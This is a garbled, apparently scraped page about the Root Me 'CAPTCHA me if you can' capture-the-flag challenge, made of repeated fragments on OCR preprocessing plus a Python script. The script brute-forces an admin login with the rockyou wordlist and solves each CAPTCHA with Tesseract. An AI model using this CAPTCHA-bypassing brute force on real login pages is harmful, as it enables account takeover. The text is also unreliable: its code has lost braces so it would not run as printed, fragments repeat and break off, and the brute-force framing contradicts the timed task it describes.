: Clean the image by removing noise (background dots/lines), resizing, or converting it to grayscale to improve accuracy. OCR (Optical Character Recognition) : Use a tool like Tesseract OCR to "read" the characters from the cleaned image. Submission
Challenges/Programming : CAPTCHA me if you can [Root Me : Hacking and Information Security learning platform] Capture The Flag. Challenges/Programming : CAPTCHA me if you can [Root Me
import requests import pytesseract from PIL import Image import io import re # Target Configurations TARGET_URL = "http:// /login" CAPTCHA_URL = "http:// /captcha.php" # Replace with actual path PASSWORD_LIST = "/usr/share/wordlists/rockyou.txt" def solve_captcha(session): # 1. Download the CAPTCHA image using the active session response = session.get(CAPTCHA_URL) img = Image.open(io.BytesIO(response.content)) # 2. Pre-process the image (convert to grayscale to boost OCR accuracy if needed) img = img.convert('L') # 3. Extract alphanumeric text using Tesseract text = pytesseract.image_to_string(img) # Clean up whitespace/newlines cleaned_text = re.sub(r'\s+', '', text) return cleaned_text def brute_force(): session = requests.Session() # Keeps session cookies persistent with open(PASSWORD_LIST, 'r', encoding='latin-1') as f: for line in f: password = line.strip() # Step A: Get the CAPTCHA for the current attempt captcha_val = solve_captcha(session) print(f"Trying password: password | Solved CAPTCHA: captcha_val") # Step B: Prepare payload (Adjust parameter keys based on your Burp analysis) payload = 'username': 'admin', # or root depending on the prompt 'password': password, 'captcha': captcha_val, 'submit': 'Login' # Step C: Send login request res = session.post(TARGET_URL, data=payload) # Step D: Analyze response to verify success if "Invalid password" not in res.text and "Invalid CAPTCHA" not in res.text: print(f"[+] Success! Admin Credentials Found: admin:password") print(f"[+] Response Content: res.text") # Look for flags here break if __name__ == "__main__": brute_force() Use code with caution. Step 4: Fine-Tuning OCR and Finding the Flag captcha me if you can root me
: Characters are not distorted but may have slight rotations and varying colors. Step-by-Step Solution Guide 1. Establish a Session
Consider this simplified vulnerable PHP script: : Clean the image by removing noise (background
: Convert the image to grayscale or binary (pure black and white) to make characters stand out for the OCR engine. 4. Perform OCR Use an OCR library like Tesseract (pytesseract) to extract the text from the cleaned image.
Although the manual method works, it is time‑consuming to build and maintain. Fortunately, the CAPTCHA is “easy” enough that even a generic engine can decode it with reasonable accuracy. Challenges/Programming : CAPTCHA me if you can [Root
Resizing the image (e.g., by 8x) can improve the accuracy of OCR engines like Tesseract. 3. Character Recognition (OCR) Most challengers use Tesseract OCR pytesseract library) to identify the text. Constraint:
The server enforces a strict timeout, often around three seconds. If your script is too slow, you will receive an error like "Too late... Try again". To avoid this:
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